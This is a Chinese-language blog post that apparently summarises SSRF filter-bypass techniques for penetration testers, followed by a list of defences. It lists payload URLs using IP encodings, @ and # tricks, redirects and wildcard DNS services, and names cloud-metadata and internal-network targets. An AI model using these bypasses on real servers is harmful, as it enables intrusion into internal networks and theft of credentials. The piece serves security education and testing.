SSRF绕过方法总结

前言

简单整理一下漏洞中ssrf绕过的一些方法,希望在渗透测试中有更清晰的思路。

什么是SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)是从服务端获取其他服务器信息的的功能。使用指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的Web应用作为代理,访问内网,攻击远程服务器,读取敏感信息等。

SSRF能做什么

1、SSRF到反射XSS

2、尝试利用URL访问内部资源并使服务器执行操作(http://,file:///, dict://, ftp://, gopher://..)

3、扫描内部网络和端口

4、如果它在云实例上运行,则尝试获取元数据

5、攻击内网应用程序

6、DoS攻击

SSRF怎么绕过

例如一处ssrf漏洞:http://example.com/?url=http://google.com/

IP与主机名

http://example.com/?url=http://66.102.7.147/

URL编码

http://example.com/?url=http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D

双字编码

http://example.com/?url=http://1113982867/

十六进制编码

http://example.com/?url=http://0x42.0x0000066.0x7.0x93/

八进制编码

http://example.com/?url=http://0102.0146.0007.00000223/

协议解析绕过

http://example.com/?url=//www.google.com/

使用@(%40)

http://example.com/?url=http://[email protected]/

使用#(%23)

http://example.com/?url=http://google.com#http://example.com

添加端口号

http://example.com/?url=http://google.com:443

授信域名重定向

http://example.com/?url=http://abc.com/?redirect=https://google.com

定制DNS服务

这些网站可以使用它们将其指向特定的IP

http://xip.io/
http://nip.io/
https://ip6.name/
https://sslip.io/

比如:10.0.0.1.xip.io   -->10.0.0.1

也可以创建一个子域并使用DNS A记录指向192.168.0.1

使用封闭式数字字母

http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

如何防范

1.禁止跳转

2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题

4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)

5.限制请求的端口为http常用的端口,比如 80、443、8080、8090

6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

参考链接

http://byd.dropsec.xyz/2017/11/21/SSRF%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95%E6%80%BB%E7%BB%93/

https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978

https://xz.aliyun.com/t/2115

猜你喜欢

转载自www.cnblogs.com/penight/p/10880655.html